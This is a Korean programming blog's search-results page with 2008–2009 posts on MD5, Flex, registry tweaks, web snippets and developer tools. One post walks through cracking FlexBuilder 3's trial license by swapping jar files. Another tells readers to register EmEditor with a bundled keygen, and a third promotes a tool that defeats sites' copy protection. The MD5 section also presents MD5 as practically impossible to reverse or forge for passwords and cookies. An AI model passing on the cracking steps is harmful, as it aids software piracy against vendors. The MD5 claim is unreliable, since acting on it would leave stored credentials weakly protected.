Search Results for '프로그래밍'


1206 posts related to '프로그래밍'

  1. 2009/04/12 Alchemy를 이용하여 Flex 소스 디컴파일 안되게 1
  2. 2009/04/11 팁 - 마우스 오른쪽 빠른 메뉴에 DOS 창 열기 메뉴 추가 - 레지스트리
  3. 2008/07/11 Sothink Tree Menu 2.30.71012
  4. 2008/07/11 SQLGate for MySQL 5.61
  5. 2008/06/30 웹페이지 우클릭,드래그,팝업메뉴 차단된거 해제하는 프로그램
  6. 2008/06/25 FlexBuilder 3 Professional License Crack (플랙스 3 크랙 )
  7. 2008/06/25 프로그래밍 폰트 어떤 것을 사용하시나요?
  8. 2008/06/22 오른쪽 마우스로 도스 _ CMD 뛰우기
  9. 2008/06/22 HTTP Watch 5.2.16 입니다.
  10. 2008/06/19 [VB] 엑셀파일 DB 입력 및 FTP 파일 업로드 (Mysql,MS-SQL,Oracle.)
  11. 2008/06/18 EmEditor Professional v7.00.7.32bit(한글)
  12. 2008/06/05 플래시업로드 3종세트 1
  13. 2008/06/04 [팁] 외부 문서 불러오기
  14. 2008/06/04 실시간상담 프로그램
  15. 2008/06/04 [팁] 플래시 무비에 레이어 올리기
  16. 2008/06/04 [팁] 플래쉬 무비 전체 화면으로 뜨게 하는 fscommand
  17. 2008/06/04 쇼핑몰에서 많이 쓰는 자동 슬라이드
  18. 2008/06/04 드림위버에서 html소스를 최적화시키기
  19. 2008/06/04 ip 조회하는 스크립트
  20. 2008/06/04 다모임 - 플레이어 입니다(wmv) 1
  21. 2008/06/03 공개웹방화벽을 이용한 홈페이지 보안 [웹나이트 -Webknight]
  22. 2008/05/19 SQL INjection 1
  23. 2008/03/26 자바스크립트 라이브러리 요약
  24. 2008/03/26 SWFUpload - 다중 업로드 1
  25. 2008/02/21 ASP 함수 모음
  26. 2008/02/21 SQL Server에서 사용할 수 있는 서버측 페이징기법
  27. 2008/02/21 아바타를 꾸미는 소스!!
  28. 2008/02/21 ASP페이지를 정적인 HTML파일로 만들기
  29. 2008/02/21 ASP + MySQL 연동
  30. 2008/02/21 FileSystemObject를 이용한 폴더(디렉토리) 생성하기
문자 a 를 MD5 로 변환을 한 값 MD5("a") 은

0cc175b9c0f1b6a831c399e269772661 입니다.

여기서 0cc175b9c0f1b6a831c399e269772661 와 같은 결과값에서 원래 문자열 a 를
찾아낼 수가 없어야 한다는 것이 단방향성입니다.

그리고, 동일한 결과값 0cc175b9c0f1b6a831c399e269772661 을 가지는 특정한 문자열을
찾아내는 것이 불가능해야 한다는 것이 충돌 회피성입니다.

y = f(x) 라는 함수가 존재할때

y 값만을 가지고 x 를 찾아낼 수가 없어야 하고
동일한 y 값을 가지는 x 와 x' 를 계산해내는 것이 불가능해야 한다는 것이지요..

실제 업무에서는 아이디, 비밀번호, 각종 쿠키값등에서 MD5 등을 이용하면 악의적인 목적의 사용자가
임의로 값을 변경하거나 유추해내는 것이 사실상 불가능하다고 볼 수 있습니다.

2009/04/12 17:04 2009/04/12 17:04

C/C++ 소소를 직접 Flex에서 사용할 수 있다는 점에 착안하여

Alchemy를 이용하여 C/C++ 소스를 Flex로 포팅 작업을 하다보니

Flash 자체 보안을 모두 적용받는 형태가 되네요.


결국 C/C++에서 직접 파일 엑세스라던가, 소켓 통신 등등 결국은 Flex에서

처리를 해야된다는.....


다만, 의외로 Flex 자체가 플래쉬를 그대로 사용하는 형태다 보니, 소스 디컴파일이

어렵지 않게 되었는데, Alchemy를 import 하면 디컴파일이 안되는 부분이 있네요.


몇개의 플래쉬 디컴파일러를 돌려보다보니 Alchemy 부분을 처리하지 못하고 에러처리가

되서 소스 디컴파일이 안되는 걸 발견했습니다.  일종의 편법이지만, Alchemy 컴파일 자체가

그렇게 용량을 많이 차지하는 건 아니니, 그럭저럭 쓸만한 방법인것 같네요.

2009/04/12 02:42 2009/04/12 02:42
가끔씩 윈도우 탐색기 등에서 커맨드 창으로 빠져나가야 할 일이 생깁니다
도스(DOS) 명령어를 사용하는 것이 파일관리 등에 유용한 경우가 종종 있기 때문이죠..^^

그런데 커맨드 창(cmd.exe)을 띄우면 기본 위치에서 프롬프트가 시작됩니다
작업해야 할 폴더 위치가 깊숙하다면 경로 이동이 꽤나 귀찮은 문제이죠..
(물론, 탐색기 등에서 전체경로를 복사해서 붙여넣는 방식을 이용할 수도 있긴 합니다만..)

이럴때 폴더에 마우스 오른쪽으로 클릭했을때 뜨는 빠른 메뉴에..
'도스창으로 열기' 항목을 추가해주면 상당히 편리합니다^^
사용자 삽입 이미지

다음 파일을 다운로드 받으신 후, 더블 클릭하여 레지스트리에 추가해주시면 됩니다^^

다운로드


레지스트리를 직접 작성하실 분은 다음 방법을 따라하세요^^


레지스트리 직접 작성하기


1. [시작] - [실행] - 'regedit'를 입력하여 레지스트리 편집기를 실행합니다


2. '내 컴퓨터\HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\shell'로 이동하여 'cmd'라는 키를 새로 만듭니다
    ('shell'에 마우스 오른쪽 → 새로 만들기 → 키 → 'cmd' 입력)
사용자 삽입 이미지
 
사용자 삽입 이미지

4. 문자열 값 데이터를 '도스창으로 열기'로 해줍니다
    (이 부분이 빠른 메뉴에 보이는 메뉴 제목이므로 원하는대로 써주셔도 됩니다..^^)
3. '(기본값)'에 마우스 오른쪽을 누르고 수정을 클릭..
사용자 삽입 이미지
5. 'cmd'키 하위에 다시 'command'라는 키를 만듭니다
    ('cmd'에 마우스 오른쪽 → 새로 만들기 → 키 → 'command' 입력)
사용자 삽입 이미지
6. 'command'키의 문자열 기본값을 수정합니다 (기본값에 마우스 오른쪽 → 수정)
사용자 삽입 이미지
7. 값 데이터는 'cmd.exe /k cd "%1"'으로 해주세요..^^
사용자 삽입 이미지


이제 커맨드 창으로 열려는 폴더에 마우스 오른쪽을 누르시면..
'도스창으로 열기'라는 항목이 보이실 겁니다..^^
2009/04/11 16:07 2009/04/11 16:07
사용자 삽입 이미지
사용자 삽입 이미지
2008/07/11 00:47 2008/07/11 00:47
사용자 삽입 이미지
2008/07/11 00:33 2008/07/11 00:33
. 파일크기 : 600kb
. 지원 OS : windows
. 개발환경 : 윈도우,기타
. 사용제한 : 프리웨어
. 제작자 : yesclick
. 자료설명 :


웹페이지에 각종 우클릭,드래그,팝업메뉴 방지기능을 단축키만으로 해제하는 프로그램 입니다.

간단한 설치후에 익스플로러에서 단축키 F9만 눌러주면
즉시 마우스 클릭이나 텍스트 선택, 익스플로러 팝업메뉴 사용 등이 가능하구요.

소스보기나 이미지저장,클립보드복사등 원래의 익스플로러의 기능을 100% 사용하고자 할때 유용합니다.
그동안 사용해 왔지만 아직까지 작동이 안되는 웹페이지는 없었습니다.

설치후에 새로 익스플로러를 열고
우클릭,드래그,팝업메뉴 방지기능이 많은 블로그 같은곳에서 테스트 해보세요.

이전에 올린 파일이 손상된듯하여 백신으로 치료후에 다시 올립니다.
2008/06/30 11:34 2008/06/30 11:34

FlexBuilder 3가 adobe에서 다운로드 받을수 있게는 되어 있는데, 60일 제약이 있습니다.
뭐 크랙방법은 인터넷에 많이 있는거 같은데 딱히 정리된게 없어서 요래 올려봅니다.

60일 까지만 사용할수 있다는 메세지(crack후 메세지는 다시 나오지 않습니다.)

사용자 삽입 이미지

  • FlexBuilder가 설치된 디렉토리는 ‘C:Program FilesAdobeFlex Builder 3’로 가정합니다.

일단 다음 첨부 파일을 다운로드 받으신후 압축을 풉니다.


압축을 풀게되면 ‘license.jar’, ‘zornproject.jar’ 파일을 다음 디렉토리로 붙여 넣기 합니다.

license.jar -> pluginscom.adobe.flexbuilder.flex_3.0.194161lib
zornproject.jar ->
pluginscom.adobe.flexbuilder.project_3.0.194161

디렉토리 보이시죠?

사용자 삽입 이미지
날짜를 6개월정도 뒤로 밀려서 실행해도 잘됩니다.
사용자 삽입 이미지
위 내용은 말그대로 개인용도로 개발하실때만 사용하시고 제대로된 개발시에는 정식 라이센스를 구매하세요.
2008/06/25 12:41 2008/06/25 12:41
프로그래밍할 때 어떤 폰트로 코드를 보시나요?

소스 코드의 가독성을 높이고 자신의 스타일에 어울리는 글꼴을 찾는 게 쉽지 않은 일이죠.

여기 전세계 프로그래머가 많이 사용하는 폰트에 대한 순위가 나와 있습니다.


  (Name, Sizes -Fontinfo, Type, Description, Download Info)
  1. Bitstream Vera Sans Mono (View Sample)
    • 8, 9, 10, 11, 12, 14, 16, 18, 20, 22, 24, 26, 28, 36, 48, 72
    • TrueType
    • Plenty of space between lines, dotted zeros, clean.
    • http://www.gnome.org/fonts/
  2. ti92pluspc (View Sample)
  3. Crystal (View Sample)
  4. Monaco (View Sample)
  5. Anonymous (View Sample)
  6. Andale Mono (View Sample)
  7. Raize (View Sample)
  8. ProFontWindows (View Sample)
  9. Sheldon (View Sample)
  10. BSU Kermit (View Sample)
  11. Lucida Sans Typewriter Regular (View Sample)
  12. Courier New (View Sample)
  13. Courier (View Sample)
    • 10, 12, 15
    • TrueType
    • Clean but spread out, no zero treatment.
    • Installed with Windows
  14. Lucida Console (View Sample)
  15. ProggyTiny (View Sample)
  16. ProggyClean (View Sample)
  17. Fixedsys (View Sample)
  18. Topaz-8 (View Sample)
    • 8, 9, 10, 11, 12, 14, 16, 18, 20, 22, 24, 26, 28, 36, 48, 72
    • TrueType
    • Amiga Topaz-8. Little space between lines, slashed zeros, fat/squat text
    • Amiga_Topaz-8.zip
  19. Free Monospaced (View Sample)
  20. MS Mincho (View Sample)
    • 8, 9, 10, 11, 12, 14, 16, 18, 20, 22, 24, 26, 28, 36, 48, 72
    • TrueType
    • No Zero treatment, clear text
    • Installed with Windows or Office. Try Google.
  21. Hyperfont (View Sample)
  22. Squareshooter Mono (View Sample)


(출처 : http://www.lowing.org/fonts)


저의 경우 도스때부터 코딩에 관해서는 Fixedsys를 고수해왔는데, 모니터 해상도가 높아지면서 Fixedsys는 트루칼라가 아니라서 너무 폰트가 작아 보이는 경향이 있어 근래에는 MS에서 배포하는 Consolas를 사용하고 있습니다.

그리고 클리어타입으로 사용중인데, XP에서는 클리어타입사용시 버그가 있기 때문에 꼭 패치를 하셔야 합니다.

보다 더 많은 정보가 있는 사이트를 링크해 둡니다.

프로그래밍용 폰트
기본 글꼴에 대한 고민
2008/06/25 11:42 2008/06/25 11:42
첨부파일 더블클릭후 탐색기 창등에서 해당 폴더에 오른쪽 마우스 클릭 - DOS Promprt 클릭

합니다

그리고 DOS Promprt  요놈에 이름을 변경하고 싶으시면.

첨부 파일을 다운받아서 메모장에 열어서 이름을 변경하시면 됩니다.

전에 자바개발중 컴파일할때 편하게 사용하던 기억이 나네요.
2008/06/22 13:43 2008/06/22 13:43
사용자 삽입 이미지
HttpWatch는 웹페이지를 분석하기에 좋은 가볍고 편리한 도구입니다.

설치를 하면 IE의 상단에 아래와 같이 아이콘이 추가됩니다.

별도의 프로그램의 실행없이 IE만 있으면 되므로 편리합니다.
2008/06/22 01:59 2008/06/22 01:59

This is a protected post. Please enter the password to view the article.
이 글은 비밀글입니다. 글을 보시려면 비밀번호를 입력하세요.

아마 다들잘 아시는 프로그램이라고 생각이 되네요....
 
EmEditor는 JavaScript, VBScript, Macro 등 프로그램 및 문서,
HTML을 작성 및 편집할 수 있도록 도와주는 에디터 유틸리티입니다.

윈도 비스타도 지원하고요...

사용자가 자주 사용하거나 반복적으로 사용하는 기능에 대해 매크로를 만들어 효율적으로 이용할 수 있으며,
다른 애플리케이션을 다루기 위한 자신만의 매크로 기능을 사용할 수 있습니다.
새롭게 EmEditor용 JavaScript 및 VBScript가 추가되었습니다.
이외에도 특정 부분에 자동강조 기능 에러 발생시 대화창으로 표시 기능 등을 제공합니다.

Keyword Highlighting
Bat, C#, C++, CSS, HTML, Ini, Java, JavaScript, JSP, Pascal (Delphi), Perl, PerlScript, PHP, Python, Ruby, SQL, TeX (LaTeX), VBScript, WindowsScript, x86 Assembler 등의 주요 구문에 색상 변화를 통한 표시

Unicode 지원
EmEditor 버전3에서 부터 제공되던 기능으로, 다언어문서를 취급할 때 가장 적당한 Unicode를 찾아 Unicode파일을 열 수 있으며, Unicode의 문자를 편집할 수 있기에, 외국어와 일본어를 동시에 나타낼 수 있을 뿐만 아니라 어려운 한자 표시가 가능하며, 이번에 새롭게 UTF-8과 UTF-7을 지원


Plug-ins
플러그인은 확장자가 DLL인 파일로 쉽게 설치 가능하며, 플러그인의 도움말은 공개되어 있으므로 필요한 기능의 플러그인을 직접 사용자가 작성하는 것이 가능

External Tools
Toobar나 단축키를 통해 EmEditor상에서 즐겨 사용하는 외부 툴을 실행시킬 수 있음 (예. 열려있는 파일과 관련된 애플리케이션 실행, 인터넷 브라우져를 통한 선택된 문서 검색 등)

Drag and Drop
OLE drag & drop이 가능하며, 응용 프로그램과 drag & drop으로 선택한 텍스트의 복사, 이동이 가능

다양한 기본 성능

작은 용량이면서 충실한 기본 기능 제공(예, 열기 가능한 파일의 크기는 무제한(단, 메모리에 의해서만 제한 받음.)으로 회수의 제한을 자유롭게 설정할 수 있는실행취소」「다시실행」기능, 영문 워드랩, 금측처리, 분할금지_
 
Web Designers를 위한 툴

HTML, PHP, JSP,XML의 효율적 이용

기타

ㆍ파일 검색
ㆍ빠른 매크로
ㆍ검색 및 문제 변환
ㆍ키보드,툴바, 메뉴, 폰트, 칼러의 사용자 임의 지정
ㆍ윈도 분활
ㆍ프린트 기능
ㆍ강조 표시를 위한 단축키
ㆍGlobal IME(Input Method Eidtor지원)
우선 emed7007epx.msi를 설치하신 후, 이서 한글팩내에 있는 emed600lang_korean.msi를 설치하시면 됩니다.
 
그리고 프로그램을 실행시켜서 동봉되어 있는 keygen.exe로 등록키를 받은 후 도움말, EmEditor 정보를 클릭 구매망법을 Clikc하시고 해당 Key를 입력하시면 됩니다.
2008/06/18 11:06 2008/06/18 11:06
플래시업로드 3종세트
2008/06/05 11:25 2008/06/05 11:25
<html>
<head>
    <title>http://www.blueb.co.kr</title>
<meta http-equiv="Content-Type" content="text/html; charset=euc-kr">
<script>
var please_wait = null;

function open_url(url, target) {
    if ( ! document.getElementById) {
          return false;
    }

    if (please_wait != null) {
          document.getElementById(target).innerHTML = please_wait;
    }

    if (window.ActiveXObject) {
          link = new ActiveXObject("Microsoft.XMLHTTP");
    } else if (window.XMLHttpRequest) {
          link = new XMLHttpRequest();
    }

    if (link == undefined) {
          return false;
    }
    link.onreadystatechange = function() { response(url, target); }
    link.open("GET", url, true);
    link.send(null);
}

function response(url, target) {
    if (link.readyState == 4) {
         document.getElementById(target).innerHTML = (link.status == 200) ? link.responseText : "링크가 정확하지 않습니다. 에러코드: " + link.status;
    }
}

function set_loading_message(msg) {
    please_wait = msg;
}

</script>
</head>
<body>

<table>
<tr>
<td valign=top width=150>
<H5>외부문서 불러오기</H5>
<a href="javascript:void(0)" onclick="open_url('http://www.blueb.co.kr/rss_xml.php?table=community_QNA','my_site_content');">Go to page 1</a><br>
<a href="javascript:void(0)" onclick="open_url('http://www.blueb.co.kr/rss_xml.php?table=community_tipntech','my_site_content');">Go to page 2</a><br>
<a href="javascript:void(0)" onclick="open_url('http://www.blueb.co.kr/rss_xml.php?table=JS_50','my_site_content');">Go to page 3</a><br>
<a href="javascript:void(0)" onclick="open_url('http://www.blueb.co.kr/rss_xml.php?table=JS_02','my_site_content');">Go to page 4</a><br>
<a href="javascript:void(0)" onclick="open_url('링크없다.html','my_site_content');">Broken Link</a><br>
</td>
<td valign=top>
<div id="my_site_content">
</div>
</td>
</tr>
</table>
2008/06/04 15:43 2008/06/04 15:43
실시간상담 프로그램

출처:php스쿨

<iframe name='chat_windows' src="http://아이피:2024/conn?사용자이름" width="430" height=410 frameborder='0' topmargin='0' leftmargin='0' marginwidth='0' marginheight='0' scrolling=no></iframe>
2008/06/04 15:41 2008/06/04 15:41
HTML 소스에 보면 플래시 파일의 소스가 있을 겁니다.
자세히 보시면 <param> 이 설정된 부분에 다음과 같은 내용을 한 줄 추가 합니다.
<param name="wmode" value="transparent">

위의 태그는 플래시의 배경을 투명하게 해주는 태그입니다.
그런다음 레이어를 설정합니다.
<div> 에서 z-index를 swf 파일보다는 높게 잡아주면 됩니다.
z-index는 숫자가 높으면 높을수록 <div> 중에서 상단에 놓이게 됩니다.
swf 파일을 레이어삽입하지 않고 테이블에 삽입한다면 swf 파일은 z-index는 0 으로 잡힙니다.
2008/06/04 15:37 2008/06/04 15:37
fscommand ("fullscreen", "true");
fscommand ("allowscale", "false");
fscommand ("showmenu", "false");

첫프레임 액션에... 삽입
2008/06/04 15:36 2008/06/04 15:36

쇼핑몰 같은데서 많이 볼 수 있는 슬라이드
 Tween클래스가 있으니...enterFrame을 쓸 필요가 없어지네요.
 
import mx.transitions.Tween;
import mx.transitions.easing.*;
Stage.scaleMode = "noScale";
var container_mc:MovieClip = this.createEmptyMovieClip("container_mc", 0);
var image_mc:MovieClip = container_mc.createEmptyMovieClip("image_mc", 0);
var photo0:MovieClip = image_mc.createEmptyMovieClip("photo0", 4);
var photo1:MovieClip = image_mc.createEmptyMovieClip("photo1", 3);
var photo2:MovieClip = image_mc.createEmptyMovieClip("photo2", 2);
var photo3:MovieClip = image_mc.createEmptyMovieClip("photo3", 1);
var photo4:MovieClip = image_mc.createEmptyMovieClip("photo4", 0);
photo0.loadMovie("./photo/1.jpg");
photo1.loadMovie("./photo/2.jpg");
photo2.loadMovie("./photo/3.jpg");
photo3.loadMovie("./photo/4.jpg");
photo4.loadMovie("./photo/5.jpg");
var url_0:String = "http://www.naver.com";
var url_1:String = "http://www.daum.net";
var url_2:String = "http://www.empas.com";
var url_3:String = "http://www.yahoo.co.kr";
var url_4:String = "http://www.msn.co.kr";

var button_mc:MovieClip = container_mc.createEmptyMovieClip("button_mc", 1);
var bt0:MovieClip = button_mc.attachMovie("bt1", "bt0", 0, {_x:0, _y:0});
var bt1:MovieClip = button_mc.attachMovie("bt2", "bt1", 1, {_x:0, _y:27});
var bt2:MovieClip = button_mc.attachMovie("bt3", "bt2", 2, {_x:0, _y:54});
var bt3:MovieClip = button_mc.attachMovie("bt4", "bt3", 3, {_x:0, _y:81});
var bt4:MovieClip = button_mc.attachMovie("bt5", "bt4", 4, {_x:0, _y:108});
button_mc._x = 382;
button_mc._y = 22;

var photo_num:Number = 5; // 사진갯수
var WhoIsOn:Number = 0; // 현재의 위치를 나타내는 값
var slideTimer:Number; // 자동슬라이드를 위한 interval값
var interval_time:Number = 3000; // 슬라이드 지연 시간, 기본 3초설정
 

/* 자동 슬라이드 -------------------------------------------------*/
function makeSlide(){
 WhoIsOn = (WhoIsOn+1)%photo_num;
 var depth_num:Number = photo_num - 1;
 var target_mc:MovieClip = image_mc.getInstanceAtDepth(depth_num);
 
 image_mc["photo" + WhoIsOn].swapDepths(target_mc);
 var tw1:Tween = new Tween(image_mc["photo" + WhoIsOn], "_alpha", Strong.easeOut, 0, 100, 1, true);
 var tw2:Tween = new Tween(target_mc, "_alpha", Strong.easeOut, 100, 0, 1, true);
 
 for(var i:Number = 0; i < photo_num; i++){
  button_mc["bt"+i%photo_num].gotoAndStop(1);
 }
 button_mc["bt"+WhoIsOn%photo_num].gotoAndStop(2);
}

/* 버튼에 마우스 오버 시-------------------------------------------*/
function showPhoto(){
 clearInterval(slideTimer);
 var depth_num:Number = photo_num - 1;
 var target_mc:MovieClip = image_mc.getInstanceAtDepth(depth_num);
 
 /*depth 테스트
 trace("depth 0 =>" + image_mc.getInstanceAtDepth(0));
 trace("depth 1 =>" + image_mc.getInstanceAtDepth(1));
 trace("depth 2 =>" + image_mc.getInstanceAtDepth(2));
 trace("depth 3 =>" + image_mc.getInstanceAtDepth(3));
 trace("depth 4 =>" + image_mc.getInstanceAtDepth(4));
 trace("-------------------------------------------");
 */
 image_mc["photo" + WhoIsOn].swapDepths(target_mc);
 var tw1:Tween = new Tween(image_mc["photo" + WhoIsOn], "_alpha", Strong.easeOut, 0, 100, 1, true);
 var tw2:Tween = new Tween(target_mc, "_alpha", Strong.easeOut, 100, 0, 1, true);
}
/* 버튼에 마우스 오버 시 showPhoto 함수를 실행-------------*/
function buttonAction(){
 for(var i:Number = 0; i < photo_num; i++){
  button_mc["bt"+i].onRollOver = function(){
   var my_num:Number = Number(this._name.substring(2));
   
   for(var j:Number = 0; j < photo_num; j++){
    this._parent["bt"+j].gotoAndStop(1);
   }
   this.gotoAndStop(2);
   
   if(_root.WhoIsOn != my_num){
    _root.WhoIsOn = Number(this._name.substring(2));
    _root.showPhoto();
   }
  }
 
  button_mc["bt"+i].onRelease = function(){
   var num:Number = this._name.substring(2);
   getURL(_root["url_" + num], "_parent");
  }
 }
 image_mc.onRollOver = function(){
  clearInterval(_root.slideTimer);
 }
 image_mc.onRollOut = function(){
  _root.slideTimer = setInterval(_root, "makeSlide", _root.interval_time);
 }
 
 image_mc.onRelease = function(){
  getURL(_root["url_" + WhoIsOn], "_parent");
 }
}
/* 처음 시작할 때의 설정----------------------------*/
function initSlide(){
 for(var i:Number = 0; i < photo_num; i++){
  image_mc["photo" + i]._alpha = 0;
 }
 image_mc.photo0._alpha = 100;
 button_mc.bt0.gotoAndStop(2);
 
 var tw1:Tween = new Tween(image_mc, "_alpha", Strong.easeOut, 0, 100, 2, true);
 tw1.onMotionFinished = function(){
  _root.slideTimer = setInterval(_root, "makeSlide", _root.interval_time);
 }
 buttonAction();
}
initSlide();
 
 
 

ver 8 에서만 가능합니다 -ㅅ-);
----------------------------------------------------------------------
 
 
 
 
2008/06/04 15:29 2008/06/04 15:29

상단의 Commands 메뉴에서 Clean Up HTML... 이란 메뉴를 클릭하시고

체크상자를 선택하고 OK 버튼을 누르시면 됩니다.

또한 외부 프로그램으로서 "Shrinker Light" v2.60(프리웨어) 와 "HTMLZip" v1.06(세어웨어)

두가지 정도로 나눌수 있겠는데요.

각종 자료실에서 구하실수 있습니다.(심파일, 앳파일)

2008/06/04 15:26 2008/06/04 15:26
<head>
<script language="javascript">
function check_ip(ipval){
    document.isp_form.action='http://whois.nic.or.kr/result.php';
    document.isp_form.method='post';
    document.isp_form.target='_blank';
    document.isp_form.domain_name.value = ipval;
    document.isp_form.submit();
    document.isp_form.action='';
    document.isp_form.method='';
    document.isp_form.target='';
}
</script>
</head>

<body>
<form name="isp_form"><input type=hidden name="domain_name" value=""></form>

<a href='javascript:void(0)' OnClick="check_ip('아이피주소')">아이피주소</a>
</body>
2008/06/04 15:19 2008/06/04 15:19
발췌 : 다모임

                                                                        
<html>
<head>
<title>http://www.blueb.co.kr</title>

<script language="javascript">
<!--
function runObj(string)
{
    if(string != undefined) {
        document.write(string);
    }
}


    function onMoviePlay()    
    {
        var Player = document.all["moviePlayer"];

        if (Player.controls.isAvailable('Play'))    {
            Player.controls.play();
            document.all.paly_img.src = "http://www.blueb.co.kr/SRC/javascript/image5/movie/movie_player_bt_17.gif";
            document.all.paly_img.alt = "일시정지";
        } else {
            Player.controls.Pause();
            document.all.paly_img.src = "http://www.blueb.co.kr/SRC/javascript/image5/movie/movie_player_bt2_17.gif";
            document.all.paly_img.alt = "재생";
        }
    }

    function onMovieStop()    {

        var Player = document.all["moviePlayer"];

        if (Player.controls.isAvailable('Stop'))    {
            Player.controls.stop();

            document.all.paly_img.src = "http://www.blueb.co.kr/SRC/javascript/image5/movie/movie_player_bt2_17.gif";
        }

    }

    function onMovieSoundoff()    {
        var Player = document.all["moviePlayer"];
        if (Player.settings.volume == 0 ) {
            Player.settings.volume =  document.soundForm.volumnum.value ;
            document.all.soryButton.src = "http://www.blueb.co.kr/SRC/javascript/image5/movie/movie_player_bt2_10.gif";
        } else {
            document.soundForm.volumnum.value = Player.settings.volume;
            Player.settings.volume =  0 ;
            document.all.soryButton.src = "http://www.blueb.co.kr/SRC/javascript/image5/movie/movie_player_bt_10.gif";
        }
    }

    function onMovieExpand()    {
        FullSize();
    }

    var processTime;

    function onMovieProcess()    {
   
        try        {

            var Player = document.all["moviePlayer"];
            var p;

            if( "object" != typeof(Player))
                return;

            if(0 > Player.controls.currentPosition)    {
                p = 0;
            }
            else    {
                p = parseFloat(parseInt(Player.controls.currentPosition) * 370 / parseInt(Player.currentMedia.duration));
            }

            if (0 < p && "undefined" != typeof(document.all.musicprocess))
            {
                document.all.musicprocess.style.display = '';
                document.all.musicprocess.style.width = p * ((100-19)/100) ;
            }

            processTime = setTimeout('onMovieProcess()', 2000);
       
        }
        catch(e)    {
            if(processTime > 0)    clearTimeout(processTime);
            return;
        }
    }

    function onInitVol()    {
       
        ex = event.clientX;
        ey = event.clientY;

        volpx = vol.style.pixelLeft;
        volpy = vol.style.pixelTop;

        bDragCheck = true;

        document.onmousemove = onVolumnControl;
        document.all.soryButton.src = "http://www.blueb.co.kr/SRC/javascript/image5/movie/movie_player_bt2_10.gif";

        if (document.all) {
            document.onmouseup = new Function('bDragCheck=false');
        }
    }

    function onVolumnControl() {

        if(bDragCheck)    {

            var mPos = volpx + event.clientX - ex;

            if (mPos > -1 && mPos < 100) {
           
                document.all.vol.style.pixelLeft = mPos;

                var soundness = mPos - 14;

                if (-14 < soundness)    {
                   
                    var Player = document.all["moviePlayer"];
                    Player.settings.volume = 10 + (soundness);

                }
                else if (-14 > soundness ) {

                    var Player = document.all["moviePlayer"];
                    Player.settings.volume =  0 ;

                }
            }

            return false;
        }
    }

    var idI;

    function onMovieProgress()    {

        var Player = document.all["moviePlayer"];
        var cnt = Player.network.bufferingProgress;
       
        if(cnt >= 100)    {
            window.clearInterval(idI);
        }
    }
//-->
</script>

<SCRIPT FOR=moviePlayer EVENT=buffering(Start)>
   if (true == Start){
         idI = window.setInterval("onMovieProgress()", 1000);
   }
   else{
      window.clearInterval(idI);
   }
</SCRIPT>

<Script Language="vbscript">
Sub ExpandSize()    
    moviePlayer.width    = moviePlayer.width + 100
    moviePlayer.height    = moviePlayer.height + 75
End Sub

Sub FullSize()    
    if moviePlayer.playState = 3 then
        moviePlayer.fullScreen = "true"
    end if        
End Sub
</script>
</head>

<body onload="onMovieProcess();">

<table width="330" height="299" border="0" cellpadding="0" cellspacing="0">
  <tr>
    <td height="255" bgcolor="#000000">
                <div id='movie' name='movie' STYLE='Position:relative;Left:0px;Top:0px;'>
                <SCRIPT LANGUAGE="JavaScript">
                    <!--
                        var strObj = "";
                        strObj += "<object ID=\"moviePlayer\" classid=\"CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6\" codebase=\"http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=5,1,52,701\" standby=\"Loading Microsoft Windows Media Player components...\" TYPE=\"application/x-oleobject\" VIEWASTEXT width=\"330\" height=\"255\">\n";
                        strObj += "<param name=\"URL\" value=\"http://www.blueb.co.kr/SRC/javascript/image5/movie/MVI_9071.wmv\">\n";  //동영상주소
                        strObj += "<param name=\"InvokeURLs\" value=\"false\">\n";
                        strObj += "<param name=\"AllowChangeDisplaySize\" value=\"true\">\n";
                        strObj += "<param name=\"AnimationAtStart\" value=\"1\">\n";
                        strObj += "<param name=\"AutoRewind\" value=\"false\">\n";
                        strObj += "<param name=\"CurrentPosition\" value=\"0\">\n";
                        strObj += "<param name=\"SetCurrentEntry\" value=\"1\">\n";
                        strObj += "<param name=\"ClickToPlay\" value=\"false\">\n";
                        strObj += "<param name=\"AllowScan\" value=\"true\">\n";
                        strObj += "<param name=\"AutoSize\" value=\"true\">\n";
                        strObj += "<param name=\"AutoResize\" value=\"1\">\n";                                        
                        strObj += "<param name=\"AutoStart\" value=\"false\">\n";                                        
                        strObj += "<param name=\"Balance\" value=\"0\">\n";
                        strObj += "<param name=\"BufferingTime\" value=\"-1\">\n";
                        strObj += "<param name=\"CursorType\" value=\"0\">\n";
                        strObj += "<param name=\"CurrentMarker\" value=\"0\">\n";
                        strObj += "<param name=\"DisplayBackColor\" value=\"0\">\n";
                        strObj += "<param name=\"DisplayForeColor\" value=\"16777215\">\n";
                        strObj += "<param name=\"DisplayMode\" value=\"2\">\n";
                        strObj += "<param name=\"DisplaySize\" value=\"4\">\n";
                        strObj += "<param name=\"uiMode\" value=\"none\">\n";
                        strObj += "<param name=\"EnableContextMenu\" value=\"0\">\n";
                        strObj += "<param name=\"EnableFullScreenControls\" value=\"true\">\n";
                        strObj += "<param name=\"fullScreen\" value=\"false\">\n";                                        
                        strObj += "<param name=\"PreviewMode\" value=\"0\">\n";                                        
                        strObj += "<param name=\"Rate\" value=\"1\">\n";                                        
                        strObj += "<param name=\"SelectionStart\" value=\"-1\">\n";
                        strObj += "<param name=\"SelectionEnd\" value=\"-1\">\n";
                        strObj += "<param name=\"SendOpenStateChangeEvents\" value=\"true\">\n";
                        strObj += "<param name=\"SendWarningEvents\" value=\"true\">\n";
                        strObj += "<param name=\"SendErrorEvents\" value=\"true\">\n";
                        strObj += "<param name=\"SendKeyboardEvents\" value=\"0\">\n";                                        
                        strObj += "<param name=\"SendPlayStateChangeEvents\" value=\"true\">\n";
                        strObj += "<param name=\"ShowAudioControls\" value=\"false\">\n";                
                        strObj += "<param name=\"ShowCaptioning\" value=\"false\">\n";
                        strObj += "<param name=\"ShowControls\" value=\"false\">\n";                                        
                        strObj += "<param name=\"ShowDisplay\" value=\"false\">\n";
                        strObj += "<param name=\"ShowGotoBar\" value=\"false\">\n";                                        
                        strObj += "<param name=\"ShowPositionControls\" value=\"false\">\n";
                        strObj += "<param name=\"ShowStatusBar\" value=\"false\">\n";
                        strObj += "<param name=\"ShowTracker\" value=\"false\">\n";
                        strObj += "<param name=\"TransparentAtStart\" value=\"false\">\n";
                        strObj += "<param name=\"VideoBorderWidth\" value=\"0\">\n";
                        strObj += "<param name=\"VideoBorderColor\" value=\"0\">\n";
                        strObj += "<param name=\"VideoBorder3D\" value=\"0\">\n";
                        strObj += "<param name=\"Volume\" value=\"60\">\n";
